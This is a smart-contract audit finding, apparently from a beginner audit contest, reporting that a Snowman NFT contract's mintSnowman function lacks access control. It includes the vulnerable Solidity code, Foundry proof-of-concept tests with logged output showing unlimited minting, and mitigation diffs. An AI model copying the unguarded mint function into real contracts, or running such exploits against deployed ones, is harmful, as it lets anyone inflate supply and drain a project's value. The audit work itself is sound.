Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing Access Control on mintSnowman Allows Unlimited NFT Minting

Root + Impact

Missing access control on mintSnowman function allows any external caller to mint unlimited NFTs to any address, bypassing the entire airdrop mechanism and token staking requirements.

Description

The mintSnowman function in the Snowman contract should only be callable by the authorized SnowmanAirdrop contract to ensure NFTs are only minted to users who have legitimately staked their Snow tokens and passed Merkle verification.

The function has no access control modifiers or checks, allowing any external address to call it and mint unlimited NFTs to any receiver address, completely bypassing the airdrop mechanism.

// Snowman.sol
function mintSnowman(address receiver, uint256 amount) external {
// @> No access control - anyone can call this function
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:HIGH

  • Reason 1 :
    Any malicious actor can call this function immediately after deployment

  • Reason 2:No special conditions or timing requirements exist to exploit this vulnerability

Impact:HIGH

  • Impact 1:The entire economic model and airdrop mechanism is rendered worthless

  • Impact 2:Unlimited Snowman NFTs can be minted without staking any Snow tokens

Proof of Concept

This test shows that any address can directly call mintSnowman without going through the airdrop contract. The attacker mints 1 million NFTs without owning any Snow tokens or providing a valid Merkle proof, completely breaking the protocol's intended token-gating mechanism.

function testUnauthorizedMinting() public {
address attacker = makeAddr("attacker");
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000000);
assertEq(snowman.balanceOf(attacker), 1000000);
}

Recommended Mitigation

Add an immutable reference to the authorized airdrop contract and validate that only this contract can call mintSnowman. This ensures NFTs can only be minted through the legitimate airdrop flow after proper Merkle verification and token staking.

+ address private immutable i_airdropContract;
+ error SM__Unauthorized();
- constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ constructor(string memory _SnowmanSvgUri, address _airdropContract) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ if (_airdropContract == address(0)) revert SM__ZeroAddress();
+ i_airdropContract = _airdropContract;
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
}
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != i_airdropContract) {
+ revert SM__Unauthorized();
+ }
for (uint256 i = 0; i < amount; i++) {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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